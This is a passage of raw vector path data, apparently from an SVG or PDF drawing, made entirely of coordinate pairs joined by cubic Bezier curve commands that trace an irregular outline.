58893.67 131558.00 58979.33 131590.00 59065.00C131579.33 59086.33 131568.67 59107.67 131558.00 59129.00C131547.33 59129.00 131536.67 59129.00 131526.00 59129.00C131483.00 59193.33 131440.00 59257.67 131397.00 59322.00C131397.00 59343.67 131397.00 59365.33 131397.00 59387.00C131386.33 59397.67 131375.67 59408.33 131365.00 59419.00C131365.00 59504.67 131365.00 59590.33 131365.00 59676.00C131343.53 59708.38 131321.73 59740.55 131300.47 59773.05C131268.32 59837.04 131236.15 59901.02 131204.00 59965.00C131214.67 59997.33 131225.33 60029.67 131236.00 60062.00C131225.33 60072.67 131214.67 60083.33 131204.00 60094.00C131204.00 60190.33 131204.00 60286.67 131204.00 60383.00C131172.00 60436.67 131140.00 60490.33 131108.00 60544.00C131086.33 60608.33 131064.67 60672.67 131043.00 60737.00C131043.00 60747.67 131043.00 60758.33 131043.00 60769.00C131054.00 60769.00 131065.00 60769.00 131076.00 60769.00C131076.24 60779.96 131075.51 60791.06 131076.37 60801.94C131097.70 60855.77 131119.26 60909.51 131140.46 60963.39C131150.98 60995.26 131161.48 61027.13 131172.00 61059.00C131129.19 61144.76 131086.01 61230.34 131043.00 61316.00C131043.00 61358.67 131043.00 61401.33 131043.00 61444.00C131032.26 61466.04 131021.15 61487.93 131010.64 61510.07C131000.09 61541.71 130989.55 61573.36 130979.00 61605.00C130979.00 61615.67 130979.00 61626.33 130979.00 61637.00C130968.33 61658.67 130957.67 61680.33 130947.00 61702.00C130904.00 61744.67 130861.00 61787.33 130818.00 61830.00C130796.67 61840.67 130775.33 61851.33 130754.00 61862.00C130711.00 61915.67 130668.00 61969.33 130625.00 62023.00C130614.33 62066.00 130603.67 62109.00 130593.00 62152.00C130561.00 62194.67 130529.00 62237.33 130497.00 62280.00C130475.67 62291.00 130454.33 62302.00 130433.00 62313.00C130410.96 62301.93 130389.09 62290.46 130366.93 62279.64C130335.29 62269.09 130303.64 62258.55 130272.00 62248.00C130250.33 62248.00 130228.67 62248.00 130207.00 62248.00C130195.98 62258.79 130185.38 62270.08 130174.09 62280.55C130121.06 62312.70 130068.03 62344.85 130015.00 62377.00C130015.00 62441.33 130015.00 62505.67 130015.00 62570.00C130036.33 62591.33 130057.67 62612.67 130079.00 62634.00C130143.33 62666.33 130207.67 62698.67 130272.00 62731.00C130304.00 62763.00 130336.00 62795.00 130368.00 62827.00C130400.33 62902.00 130432.67 62977.00 130465.00 63052.00C130507.67 63052.00 130550.33 63052.00 130593.00 63052.00C130625.33 62998.33 130657.67 62944.67 130690.00 62891.00C130711.33 62880.33 130732.67 62869.67 130754.00 62859.00C130829.00 62859.00 130904.00 62859.00 130979.00 62859.00C130990.06 62869.84 131000.71 62881.15 131012.03 62891.69C131076.02 62934.46 131140.01 62977.23 131204.00 63020.00C131236.38 63084.31 131268.89 63148.56 131301.00 63213.00C131290.33 63266.67 131279.67 63320.33 131269.00 63374.00C131226.00 63395.33 131183.00 63416.67 131140.00 63438.00C131140.00 63448.67 131140.00 63459.33 131140.00 63470.00C131054.24 63502.39 130968.44 63534.71 130882.70 63567.15C130861.13 63577.76 130839.57 63588.38 130818.00 63599.00C130796.67 63641.67 130775.33 63684.33 130754.00 63727.00C130797.00 63737.67 130840.00 63748.33 130883.00 63759.00C130904.71 63748.26 130926.25 63737.14 130948.07 63726.64C130979.71 63716.09 131011.36 63705.55 131043.00 63695.00C131086.00 63695.00 131129.00 63695.00 131172.00 63695.00C131172.04 63716.44 131171.91 63737.89 131172.07 63759.33C131182.72 63812.89 131193.36 63866.44 131204.00 63920.00C131225.67 63941.67 131247.33 63963.33 131269.00 63985.00C131269.00 64038.33 131269.00 64091.67 131269.00 64145.00C131279.67 64155.67 131290.33 64166.33 131301.00 64177.00C131311.67 64177.00 131322.33 64177.00 131333.00 64177.00C131343.67 64155.67 131354.33 64134.33 131365.00 64113.00C131408.00 64113.00 131451.00 64113.00 131494.00 64113.00C131515.33 64134.33 131536.67 64155.67 131558.00 64177.00C131558.00 64188.00 131558.00 64199.00 131558.00 64210.00C131536.67 64231.33 131515.33 64252.67 131494.00 64274.00C131494.00 64284.67 131494.00 64295.33 131494.00 64306.00C131515.33 64306.00 131536.67 64306.00 131558.00 64306.00C131579.33 64316.67 131600.67 64327.33 131622.00 64338.00C131632.67 64338.00 131643.33 64338.00 131654.00 64338.00C131665.00 64348.67 131676.00 64359.33 131687.00 64370.00C131676.00 64391.67 131665.00 64413.33 131654.00 64435.00C131686.33 64456.33 131718.67 64477.67 131751.00 64499.00C131751.00 64531.00 131751.00 64563.00 131751.00 64595.00C131740.33 64616.67 131729.67 64638.33 131719.00 64660.00C131719.00 64670.67 131719.00 64681.33 131719.00 64692.00C131729.67 64713.33 131740.33 64734.67 131751.00 64756.00C131772.33 64766.67 131793.67 64777.33 131815.00 64788.00C131836.33 64766.67 131857.67 64745.33 131879.00 64724.00C131879.00 64713.33 131879.00 64702.67 131879.00 64692.00C131857.67 64692.00 131836.33 64692.00 131815.00 64692.00C131804.33 64670.67 131793.67 64649.33 131783.00 64628.00C131783.00 64617.00 131783.00 64606.00 131783.00 64595.00C131815.00 64595.00 131847.00 64595.00 131879.00 64595.00C131890.00 64616.67 131901.00 64638.33 131912.00 64660.00C131933.33 64670.67 131954.67 64681.33 131976.00 64692.00C132008.00 64724.00 132040.00 64756.00 132072.00 64788.00C132061.33 64799.00 132050.67 64810.00 132040.00 64821.00C132008.00 64821.00 131976.00 64821.00 131944.00 64821.00C131954.67 64831.67 131965.33 64842.33 131976.00 64853.00C131976.00 64874.33 131976.00 64895.67 131976.00 64917.00C132029.67 64927.67 132083.33 64938.33 132137.00 64949.00C132137.00 64970.33 132137.00 64991.67 132137.00 65013.00C132126.33 65013.00 132115.67 65013.00 132105.00 65013.00C132094.00 65002.33 132083.00 64991.67 132072.00 64981.00C132072.00 64991.67 132072.00 65002.33 132072.00 65013.00C132083.00 65024.00 132094.00 65035.00 132105.00 65046.00C132094.00 65056.67 132083.00 65067.33 132072.00 65078.00C132072.00 65099.33 132072.00 65120.67 132072.00 65142.00C132083.00 65142.00 132094.00 65142.00 132105.00 65142.00C132115.67 65152.67 132126.33 65163.33 132137.00 65174.00C132147.67 65163.33 132158.33 65152.67 132169.00 65142.00C132190.33 65152.67 132211.67 65163.33 132233.00 65174.00C132243.67 65163.33 132254.33 65152.67 132265.00 65142.00C132265.00 65163.33 132265.00 65184.67 132265.00 65206.00C132286.67 65206.00 132308.33 65206.00 132330.00 65206.00C132330.00 65217.00 132330.00 65228.00 132330.00 65239.00C132319.00 65260.33 132308.00 65281.67 132297.00 65303.00C132308.00 65292.33 132319.00 65281.67 132330.00 65271.00C132351.33 65271.00 132372.67 65271.00 132394.00 65271.00C132383.33 65281.67 132372.67 65292.33 132362.00 65303.00C132372.73 65335.10 132383.35 65367.23 132394.15 65399.30C132404.76 65420.87 132415.38 65442.43 132426.00 65464.00C132415.33 65474.67 132404.67 65485.33 132394.00 65496.00C132415.33 65496.00 132436.67 65496.00 132458.00 65496.00C132436.67 65506.67 132415.33 65517.33 132394.00 65528.00C132394.00 65538.67 132394.00 65549.33 132394.00 65560.00C132415.33 65560.00 132436.67 65560.00 132458.00 65560.00C132458.00 65570.67 132458.00 65581.33 132458.00 65592.00C132479.67 65613.66 132501.33 65635.34 132523.00 65657.00C132544.33 65657.00 132565.67 65657.00 132587.00 65657.00C132587.00 65667.67 132587.00 65678.33 132587.00 65689.00C132597.67 65689.00 132608.33 65689.00 132619.00 65689.00C132619.00 65699.67 132619.00 65710.33 132619.00 65721.00C132640.33 65710.33 132661.67 65699.67 132683.00 65689.00C132683.00 65710.33 132683.00 65731.67 132683.00 65753.00C132693.67 65753.00 132704.33 65753.00 132715.00 65753.00C132715.00 65774.33 132715.00 65795.67 132715.00 65817.00C132747.33 65849.34 132779.67 65881.66 132812.00 65914.00C132812.00 65924.67 132812.00 65935.33 132812.00 65946.00C132833.33 65946.00 132854.67 65946.00 132876.00 65946.00C132876.00 65999.67 132876.00 66053.33 132876.00 66107.00C132897.33 66096.33 132918.67 66085.67 132940.00 66075.00C132951.00 66075.00 132962.00 66075.00 132973.00 66075.00C132983.67 66107.00 132994.33 66139.00 133005.00 66171.00C133015.67 66160.34 133026.33 66149.66 133037.00 66139.00C133026.33 66171.00 133015.67 66203.00 133005.00 66235.00C133015.67 66245.66 133026.33 66256.34 133037.00 66267.00C133047.67 66256.34 133058.33 66245.66 133069.00 66235.00C133069.00 66256.67 133069.00 66278.33 133069.00 66300.00C133058.33 66300.00 133047.67 66300.00 133037.00 66300.00C133058.33 66321.34 133079.67 66342.66 133101.00 66364.00C133079.67 66374.67 133058.33 66385.33 133037.00 66396.00C133080.00 66396.00 133123.00 66396.00 133166.00 66396.00C133198.00 66428.33 133230.00 66460.67 133262.00 66493.00C133262.00 66525.00 133262.00 66557.00 133262.00 66589.00C133283.33 66599.67 133304.67 66610.33 133326.00 66621.00C133315.33 66631.66 133304.67 66642.34 133294.00 66653.00C133315.67 66663.67 133337.33 66674.33 133359.00 66685.00C133359.00 66696.00 133359.00 66707.00 133359.00 66718.00C133391.00 66718.00 133423.00 66718.00 133455.00 66718.00C133455.00 66728.67 133455.00 66739.33 133455.00 66750.00C133487.00 66750.00 133519.00 66750.00 133551.00 66750.00C133551.00 66760.67 133551.00 66771.33 133551.00 66782.00C133562.00 66782.00 133573.00 66782.00 133584.00 66782.00C133594.67 66749.67 133605.33 66717.33 133616.00 66685.00C133626.67 66696.00 133637.33 66707.00 133648.00 66718.00C133648.00 66707.00 133648.00 66696.00 133648.00 66685.00C133680.00 66674.33 133712.00 66663.67 133744.00 66653.00C133733.33 66642.34 133722.67 66631.66 133712.00 66621.00C133733.33 66610.33 133754.67 66599.67 133776.00 66589.00C133776.00 66557.00 133776.00 66525.00 133776.00 66493.00C133787.00 66493.00 133798.00 66493.00 133809.00 66493.00C133819.67 66471.34 133830.33 66449.66 133841.00 66428.00C133873.00 66428.00 133905.00 66428.00 133937.00 66428.00C133937.00 66406.67 133937.00 66385.33 133937.00 66364.00C133947.67 66364.00 133958.33 66364.00 133969.00 66364.00C133980.00 66374.67 133991.00 66385.33 134002.00 66396.00C134012.67 66396.00 134023.33 66396.00 134034.00 66396.00C134044.67 66374.67 134055.33 66353.33 134066.00 66332.00C134076.67 66332.00 134087.33 66332.00 134098.00 66332.00C134098.00 66310.33 134098.00 66288.67 134098.00 66267.00C134119.33 66256.33 134140.67 66245.67 134162.00 66235.00C134162.00 66245.67 134162.00 66256.33 134162.00 66267.00C134172.67 66278.00 134183.33 66289.00 134194.00 66300.00C134215.67 66278.34 134237.33 66256.66 134259.00 66235.00C134269.67 66256.66 134280.33 66278.34 134291.00 66300.00C134301.67 66300.00 134312.33 66300.00 134323.00 66300.00C134323.00 66289.00 134323.00 66278.00 134323.00 66267.00C134334.01 66266.77 134345.13 66267.46 134356.08 66266.65C134388.05 66256.10 134420.02 66245.55 134452.00 66235.00C134462.67 66224.34 134473.33 66213.66 134484.00 66203.00C134494.67 66213.66 134505.33 66224.34 134516.00 66235.00C134526.67 66235.00 134537.33 66235.00 134548.00 66235.00C134548.00 66224.33 134548.00 66213.67 134548.00 66203.00C134558.67 66213.66 134569.33 66224.34 134580.00 66235.00C134580.00 66224.33 134580.00 66213.67 134580.00 66203.00C134601.42 66181.41 134623.07 66160.06 134645.00 66139.00C134645.00 66149.67 134645.00 66160.33 134645.00 66171.00C134655.67 66171.00 134666.33 66171.00 134677.00 66171.00C134687.67 66139.00 134698.33 66107.00 134709.00 66075.00C134719.67 66085.66 134730.33 66096.34 134741.00 66107.00C134751.67 66096.34 134762.33 66085.66 134773.00 66075.00C134794.67 66075.00 134816.33 66075.00 134838.00 66075.00C134848.67 66064.00 134859.33 66053.00 134870.00 66042.00C134880.67 66042.00 134891.33 66042.00 134902.00 66042.00C134912.67 66031.34 134923.33 66020.66 134934.00 66010.00C134955.33 66020.67 134976.67 66031.33 134998.00 66042.00C135030.33 66042.00 135062.67 66042.00 135095.00 66042.00C135105.67 66020.67 135116.33 65999.33 135127.00 65978.00C135137.67 65978.00 135148.33 65978.00 135159.00 65978.00C135180.33 65988.67 135201.67 65999.33 135223.00 66010.00C135234.00 66010.00 135245.00 66010.00 135256.00 66010.00C135277.33 65988.66 135298.67 65967.34 135320.00 65946.00C135352.00 65946.00 135384.00 65946.00 135416.00 65946.00C135437.67 65956.67 135459.33 65967.33 135481.00 65978.00C135481.00 65988.67 135481.00 65999.33 135481.00 66010.00C135502.33 66010.00 135523.67 66010.00 135545.00 66010.00C135555.79 66020.69 135566.39 66031.58 135577.30 66042.15C135598.53 66053.10 135619.77 66064.05 135641.00 66075.00C135641.00 66107.00 135641.00 66139.00 135641.00 66171.00C135705.63 66202.64 135769.96 66234.92 135834.27 66267.20C135877.18 66299.46 135920.09 66331.73 135963.00 66364.00C135973.67 66385.33 135984.33 66406.67 135995.00 66428.00C135995.00 66438.67 135995.00 66449.33 135995.00 66460.00C136005.67 66471.00 136016.33 66482.00 136027.00 66493.00C136027.00 66568.00 136027.00 66643.00 136027.00 66718.00C136048.67 66739.33 136070.33 66760.67 136092.00 66782.00C136092.00 66803.33 136092.00 66824.67 136092.00 66846.00C136081.00 66856.67 136070.00 66867.33 136059.00 66878.00C136037.67 66878.00 136016.33 66878.00 135995.00 66878.00C135984.33 66899.66 135973.67 66921.34 135963.00 66943.00C135963.00 66964.33 135963.00 66985.67 135963.00 67007.00C135930.67 67092.67 135898.33 67178.33 135866.00 67264.00C135866.00 67285.67 135866.00 67307.33 135866.00 67329.00C135887.67 67339.67 135909.33 67350.33 135931.00 67361.00C135952.33 67382.34 135973.67 67403.66 135995.00 67425.00C135963.00 67457.00 135931.00 67489.00 135899.00 67521.00C135888.00 67553.33 135877.00 67585.67 135866.00 67618.00C135877.00 67671.67 135888.00 67725.33 135899.00 67779.00C135877.24 67811.07 135855.62 67843.23 135833.76 67875.24C135793.08 67915.77 135752.58 67956.49 135712.39 67997.51C135708.82 68001.03 135705.60 68005.06 135700.64 68006.64C135680.76 68016.42 135660.88 68026.21 135641.00 68036.00C135609.00 68036.00 135577.00 68036.00 135545.00 68036.00C135523.67 68046.67 135502.33 68057.33 135481.00 68068.00C135459.33 68068.00 135437.67 68068.00 135416.00 68068.00C135373.33 68046.67 135330.67 68025.33 135288.00 68004.00C135218.86 68038.23 135149.80 68072.63 135080.73 68107.01C135063.10 68115.56 135045.70 68124.63 135027.87 68132.73C134996.58 68143.49 134965.29 68154.24 134934.00 68165.00C134923.33 68186.33 134912.67 68207.67 134902.00 68229.00C134891.31 68239.79 134880.41 68250.38 134869.85 68261.30C134859.23 68282.53 134848.62 68303.77 134838.00 68325.00C134827.00 68314.33 134816.00 68303.67 134805.00 68293.00C134762.33 68293.00 134719.67 68293.00 134677.00 68293.00C134644.67 68282.33 134612.33 68271.67 134580.00 68261.00C134580.00 68282.33 134580.00 68303.67 134580.00 68325.00C134569.33 68325.00 134558.67 68325.00 134548.00 68325.00C134558.67 68346.66 134569.33 68368.34 134580.00 68390.00C134558.67 68400.67 134537.33 68411.33 134516.00 68422.00C134505.33 68411.34 134494.67 68400.66 134484.00 68390.00C134494.67 68422.00 134505.33 68454.00 134516.00 68486.00C134516.00 68507.33 134516.00 68528.67 134516.00 68550.00C134505.33 68571.66 134494.67 68593.34 134484.00 68615.00C134494.67 68625.66 134505.33 68636.34 134516.00 68647.00C134473.05 68689.71 134430.68 68733.03 134387.00 68775.00C134376.33 68753.67 134365.67 68732.33 134355.00 68711.00C134344.33 68721.66 134333.67 68732.34 134323.00 68743.00C134323.00 68753.67 134323.00 68764.33 134323.00 68775.00C134301.67 68775.00 134280.33 68775.00 134259.00 68775.00C134259.00 68796.67 134259.00 68818.33 134259.00 68840.00C134269.67 68861.33 134280.33 68882.67 134291.00 68904.00C134280.33 68904.00 134269.67 68904.00 134259.00 68904.00C134269.67 68914.66 134280.33 68925.34 134291.00 68936.00C134280.33 68946.66 134269.67 68957.34 134259.00 68968.00C134269.67 68978.66 134280.33 68989.34 134291.00 69000.00C134280.33 69011.00 134269.67 69022.00 134259.00 69033.00C134269.67 69043.66 134280.33 69054.34 134291.00 69065.00C134280.33 69065.00 134269.67 69065.00 134259.00 69065.00C134259.00 69075.67 134259.00 69086.33 134259.00 69097.00C134248.33 69107.66 134237.67 69118.34 134227.00 69129.00C134227.00 69139.67 134227.00 69150.33 134227.00 69161.00C134216.00 69171.67 134205.00 69182.33 134194.00 69193.00C134183.33 69182.34 134172.67 69171.66 134162.00 69161.00C134162.00 69171.67 134162.00 69182.33 134162.00 69193.00C134151.33 69193.00 134140.67 69193.00 134130.00 69193.00C134140.67 69204.00 134151.33 69215.00 134162.00 69226.00C134151.33 69226.00 134140.67 69226.00 134130.00 69226.00C134130.00 69236.67 134130.00 69247.33 134130.00 69258.00C134119.33 69247.34 134108.67 69236.66 134098.00 69226.00C134098.00 69236.67 134098.00 69247.33 134098.00 69258.00C134087.33 69258.00 134076.67 69258.00 134066.00 69258.00C134066.00 69247.33 134066.00 69236.67 134066.00 69226.00C134066.00 69247.33 134066.00 69268.67 134066.00 69290.00C134055.33 69279.34 134044.67 69268.66 134034.00 69258.00C134034.00 69290.00 134034.00 69322.00 134034.00 69354.00C134023.33 69354.00 134012.67 69354.00 134002.00 69354.00C133991.00 69343.33 133980.00 69332.67 133969.00 69322.00C133969.00 69332.67 133969.00 69343.33 133969.00 69354.00C133958.33 69354.00 133947.67 69354.00 133937.00 69354.00C133947.67 69354.00 133958.33 69354.00 133969.00 69354.00C133969.00 69364.67 133969.00 69375.33 133969.00 69386.00C133980.00 69375.33 133991.00 69364.67 134002.00 69354.00C134012.67 69364.66 134023.33 69375.34 134034.00 69386.00C134034.00 69396.67 134034.00 69407.33 134034.00 69418.00C134023.33 69418.00 134012.67 69418.00 134002.00 69418.00C134012.67 69429.00 134023.33 69440.00 134034.00 69451.00C134023.33 69451.00 134012.67 69451.00 134002.00 69451.00C134002.00 69461.67 134002.00 69472.33 134002.00 69483.00C133991.00 69483.00 133980.00 69483.00 133969.00 69483.00C133969.00 69493.67 133969.00 69504.33 133969.00 69515.00C133958.33 69525.66 133947.67 69536.34 133937.00 69547.00C133947.67 69557.66 133958.33 69568.34 133969.00 69579.00C133958.33 69589.66 133947.67 69600.34 133937.00 69611.00C133958.67 69621.67 133980.33 69632.33 134002.00 69643.00C134012.67 69643.00 134023.33 69643.00 134034.00 69643.00C134023.33 69654.00 134012.67 69665.00 134002.00 69676.00C134023.33 69676.00 134044.67 69676.00 134066.00 69676.00C134055.33 69686.66 134044.67 69697.34 134034.00 69708.00C134044.69 69718.79 134055.59 69729.38 134066.15 69740.30C134076.77 69761.53 134087.38 69782.77 134098.00 69804.00C134087.33 69814.66 134076.67 69825.34 134066.00 69836.00C134055.33 69836.00 134044.67 69836.00 134034.00 69836.00C134012.33 69857.66 133990.67 69879.34 133969.00 69901.00C133969.00 69933.00 133969.00 69965.00 133969.00 69997.00C133937.00 69997.00 133905.00 69997.00 133873.00 69997.00C133883.67 70029.33 133894.33 70061.67 133905.00 70094.00C133915.67 70104.66 133926.33 70115.34 133937.00 70126.00C133937.00 70147.33 133937.00 70168.67 133937.00 70190.00C133947.67 70190.00 133958.33 70190.00 133969.00 70190.00C133969.00 70200.67 133969.00 70211.33 133969.00 70222.00C133980.00 70222.00 133991.00 70222.00 134002.00 70222.00C134012.67 70254.33 134023.33 70286.67 134034.00 70319.00C134023.33 70329.66 134012.67 70340.34 134002.00 70351.00C134002.00 70383.00 134002.00 70415.00 134002.00 70447.00C133991.00 70457.67 133980.00 70468.33 133969.00 70479.00C133980.00 70490.00 133991.00 70501.00 134002.00 70512.00C133991.00 70522.67 133980.00 70533.33 133969.00 70544.00C133958.33 70544.00 133947.67 70544.00 133937.00 70544.00C133937.00 70554.67 133937.00 70565.33 133937.00 70576.00C133947.67 70586.66 133958.33 70597.34 133969.00 70608.00C133958.33 70618.66 133947.67 70629.34 133937.00 70640.00C133905.00 70640.00 133873.00 70640.00 133841.00 70640.00C133808.67 70672.34 133776.33 70704.66 133744.00 70737.00C133733.33 70726.34 133722.67 70715.66 133712.00 70705.00C133690.67 70705.00 133669.33 70705.00 133648.00 70705.00C133626.67 70715.67 133605.33 70726.33 133584.00 70737.00C133594.67 70758.33 133605.33 70779.67 133616.00 70801.00C133616.00 70811.67 133616.00 70822.33 133616.00 70833.00C133626.67 70843.66 133637.33 70854.34 133648.00 70865.00C133658.67 70865.00 133669.33 70865.00 133680.00 70865.00C133690.67 70886.66 133701.33 70908.34 133712.00 70930.00C133690.67 70940.67 133669.33 70951.33 133648.00 70962.00C133648.00 70972.67 133648.00 70983.33 133648.00 70994.00C133626.67 71004.67 133605.33 71015.33 133584.00 71026.00C133584.00 71036.67 133584.00 71047.33 133584.00 71058.00C133562.33 71068.67 133540.67 71079.33 133519.00 71090.00C133508.33 71090.00 133497.67 71090.00 133487.00 71090.00C133476.33 71101.00 133465.67 71112.00 133455.00 71123.00C133465.67 71144.33 133476.33 71165.67 133487.00 71187.00C133487.00 71197.67 133487.00 71208.33 133487.00 71219.00C133476.33 71229.66 133465.67 71240.34 133455.00 71251.00C133455.00 71261.67 133455.00 71272.33 133455.00 71283.00C133433.67 71283.00 133412.33 71283.00 133391.00 71283.00C133391.00 71272.33 133391.00 71261.67 133391.00 71251.00C133391.00 71261.67 133391.00 71272.33 133391.00 71283.00C133380.33 71304.66 133369.67 71326.34 133359.00 71348.00C133359.00 71358.67 133359.00 71369.33 133359.00 71380.00C133326.67 71380.00 133294.33 71380.00 133262.00 71380.00C133251.33 71390.66 133240.67 71401.34 133230.00 71412.00C133251.33 71422.67 133272.67 71433.33 133294.00 71444.00C133304.67 71433.34 133315.33 71422.66 133326.00 71412.00C133326.00 71422.67 133326.00 71433.33 133326.00 71444.00C133337.00 71444.00 133348.00 71444.00 133359.00 71444.00C133359.00 71454.67 133359.00 71465.33 133359.00 71476.00C133337.33 71486.67 133315.67 71497.33 133294.00 71508.00C133294.00 71529.67 133294.00 71551.33 133294.00 71573.00C133283.33 71573.00 133272.67 71573.00 133262.00 71573.00C133272.67 71583.66 133283.33 71594.34 133294.00 71605.00C133272.67 71605.00 133251.33 71605.00 133230.00 71605.00C133230.00 71615.67 133230.00 71626.33 133230.00 71637.00C133262.00 71658.33 133294.00 71679.67 133326.00 71701.00C133326.00 71690.33 133326.00 71679.67 133326.00 71669.00C133347.67 71669.00 133369.33 71669.00 133391.00 71669.00C133412.33 71679.67 133433.67 71690.33 133455.00 71701.00C133476.33 71690.33 133497.67 71679.67 133519.00 71669.00C133508.33 71690.66 133497.67 71712.34 133487.00 71734.00C133508.33 71734.00 133529.67 71734.00 133551.00 71734.00C133551.00 71723.00 133551.00 71712.00 133551.00 71701.00C133572.67 71701.00 133594.33 71701.00 133616.00 71701.00C133637.33 71712.00 133658.67 71723.00 133680.00 71734.00C133733.67 71712.33 133787.33 71690.67 133841.00 71669.00C133873.00 71669.00 133905.00 71669.00 133937.00 71669.00C133947.67 71690.66 133958.33 71712.34 133969.00 71734.00C133958.33 71744.66 133947.67 71755.34 133937.00 71766.00C133915.67 71766.00 133894.33 71766.00 133873.00 71766.00C133883.67 71776.66 133894.33 71787.34 133905.00 71798.00C133894.33 71798.00 133883.67 71798.00 133873.00 71798.00C133883.67 71808.66 133894.33 71819.34 133905.00 71830.00C133894.33 71840.66 133883.67 71851.34 133873.00 71862.00C133883.67 71883.33 133894.33 71904.67 133905.00 71926.00C133894.33 71926.00 133883.67 71926.00 133873.00 71926.00C133883.67 71947.66 133894.33 71969.34 133905.00 71991.00C133937.33 71991.00 133969.67 71991.00 134002.00 71991.00C134023.59 71969.59 134044.94 71947.93 134066.00 71926.00C134066.00 71958.33 134066.00 71990.67 134066.00 72023.00C134077.10 72023.21 134088.29 72022.58 134099.34 72023.33C134141.89 72033.89 134184.45 72044.44 134227.00 72055.00C134237.69 72065.79 134248.59 72076.38 134259.15 72087.30C134269.77 72108.53 134280.38 72129.77 134291.00 72151.00C134280.33 72183.33 134269.67 72215.67 134259.00 72248.00C134259.00 72258.67 134259.00 72269.33 134259.00 72280.00C134280.33 72290.67 134301.67 72301.33 134323.00 72312.00C134344.33 72301.33 134365.67 72290.67 134387.00 72280.00C134387.00 72290.67 134387.00 72301.33 134387.00 72312.00C134398.00 72333.67 134409.00 72355.33 134420.00 72377.00C134399.55 72416.47 134379.24 72456.01 134359.56 72495.88C134356.90 72500.83 134353.08 72505.86 134358.56 72510.30C134379.04 72540.87 134399.52 72571.44 134420.00 72602.00C134398.09 72623.08 134376.40 72644.40 134355.00 72666.00C134355.00 72676.67 134355.00 72687.33 134355.00 72698.00C134333.67 72708.67 134312.33 72719.33 134291.00 72730.00C134291.00 72751.67 134291.00 72773.33 134291.00 72795.00C134301.67 72816.33 134312.33 72837.67 134323.00 72859.00C134355.33 72848.33 134387.67 72837.67 134420.00 72827.00C134430.67 72827.00 134441.33 72827.00 134452.00 72827.00C134452.00 72848.33 134452.00 72869.67 134452.00 72891.00C134473.43 72923.07 134494.72 72955.23 134516.24 72987.24C134558.10 73029.68 134599.62 73072.49 134642.65 73113.76C134647.79 73118.84 134650.92 73125.57 134655.16 73131.39C134673.11 73158.59 134691.05 73185.80 134709.00 73213.00C134698.33 73245.00 134687.67 73277.00 134677.00 73309.00C134677.00 73319.67 134677.00 73330.33 134677.00 73341.00C134709.00 73351.67 134741.00 73362.33 134773.00 73373.00C134773.00 73362.33 134773.00 73351.67 134773.00 73341.00C134783.79 73330.31 134794.38 73319.42 134805.30 73308.85C134826.87 73298.24 134848.43 73287.62 134870.00 73277.00C134912.67 73277.00 134955.33 73277.00 134998.00 73277.00C135030.33 73266.33 135062.67 73255.67 135095.00 73245.00C135105.67 73245.00 135116.33 73245.00 135127.00 73245.00C135148.33 73266.34 135169.67 73287.66 135191.00 73309.00C135223.33 73319.67 135255.67 73330.33 135288.00 73341.00C135277.31 73351.79 135266.42 73362.38 135255.85 73373.30C135244.91 73394.87 135233.95 73416.43 135223.00 73438.00C135223.00 73459.33 135223.00 73480.67 135223.00 73502.00C135255.88 73533.45 135287.79 73565.87 135320.00 73598.00C135341.33 73598.00 135362.67 73598.00 135384.00 73598.00C135405.33 73609.00 135426.67 73620.00 135448.00 73631.00C135459.00 73652.33 135470.00 73673.67 135481.00 73695.00C135513.00 73684.33 135545.00 73673.67 135577.00 73663.00C135598.33 73673.67 135619.67 73684.33 135641.00 73695.00C135641.00 73716.33 135641.00 73737.67 135641.00 73759.00C135619.67 73780.34 135598.33 73801.66 135577.00 73823.00C135577.00 73834.00 135577.00 73845.00 135577.00 73856.00C135598.33 73888.00 135619.67 73920.00 135641.00 73952.00C135641.00 73962.67 135641.00 73973.33 135641.00 73984.00C135673.33 73994.67 135705.67 74005.33 135738.00 74016.00C135738.00 74027.00 135738.00 74038.00 135738.00 74049.00C135673.56 74091.71 135609.18 74134.50 135544.70 74177.15C135523.47 74187.77 135502.23 74198.38 135481.00 74209.00C135481.00 74241.33 135481.00 74273.67 135481.00 74306.00C135459.33 74338.00 135437.67 74370.00 135416.00 74402.00C135416.00 74445.00 135416.00 74488.00 135416.00 74531.00C135405.33 74552.33 135394.67 74573.67 135384.00 74595.00C135319.67 74638.00 135255.33 74681.00 135191.00 74724.00C135201.67 74766.67 135212.33 74809.33 135223.00 74852.00C135223.00 74873.67 135223.00 74895.33 135223.00 74917.00C135234.00 74927.67 135245.00 74938.33 135256.00 74949.00C135256.00 74959.67 135256.00 74970.33 135256.00 74981.00C135331.00 74981.00 135406.00 74981.00 135481.00 74981.00C135513.00 75002.33 135545.00 75023.67 135577.00 75045.00C135587.67 75066.66 135598.33 75088.34 135609.00 75110.00C135598.33 75120.66 135587.67 75131.34 135577.00 75142.00C135566.33 75174.00 135555.67 75206.00 135545.00 75238.00C135545.00 75248.67 135545.00 75259.33 135545.00 75270.00C135577.00 75281.00 135609.00 75292.00 135641.00 75303.00C135673.33 75303.00 135705.67 75303.00 135738.00 75303.00C135780.67 75281.33 135823.33 75259.67 135866.00 75238.00C135877.00 75259.67 135888.00 75281.33 135899.00 75303.00C135920.33 75324.34 135941.67 75345.66 135963.00 75367.00C135952.33 75399.00 135941.67 75431.00 135931.00 75463.00C135941.67 75463.00 135952.33 75463.00 135963.00 75463.00C135984.33 75484.67 136005.67 75506.33 136027.00 75528.00C136005.67 75538.67 135984.33 75549.33 135963.00 75560.00C135963.00 75570.67 135963.00 75581.33 135963.00 75592.00C135995.00 75602.67 136027.00 75613.33 136059.00 75624.00C136059.00 75656.33 136059.00 75688.67 136059.00 75721.00C136048.33 75731.66 136037.67 75742.34 136027.00 75753.00C136027.00 75785.00 136027.00 75817.00 136027.00 75849.00C136048.67 75870.33 136070.33 75891.67 136092.00 75913.00C136070.33 75934.66 136048.67 75956.34 136027.00 75978.00C136037.67 76020.67 136048.33 76063.33 136059.00 76106.00C136048.33 76127.66 136037.67 76149.34 136027.00 76171.00C136059.33 76213.67 136091.67 76256.33 136124.00 76299.00C136124.00 76352.67 136124.00 76406.33 136124.00 76460.00C136134.67 76470.66 136145.33 76481.34 136156.00 76492.00C136166.67 76524.33 136177.33 76556.67 136188.00 76589.00C136220.00 76599.67 136252.00 76610.33 136284.00 76621.00C136295.00 76621.00 136306.00 76621.00 136317.00 76621.00C136370.33 76685.34 136423.67 76749.66 136477.00 76814.00C136498.67 76889.00 136520.33 76964.00 136542.00 77039.00C136574.00 77049.67 136606.00 77060.33 136638.00 77071.00C136670.33 77092.34 136702.67 77113.66 136735.00 77135.00C136756.33 77113.66 136777.67 77092.34 136799.00 77071.00C136820.33 77081.67 136841.67 77092.33 136863.00 77103.00C136906.11 77102.96 136949.22 77103.09 136992.33 77102.93C137046.86 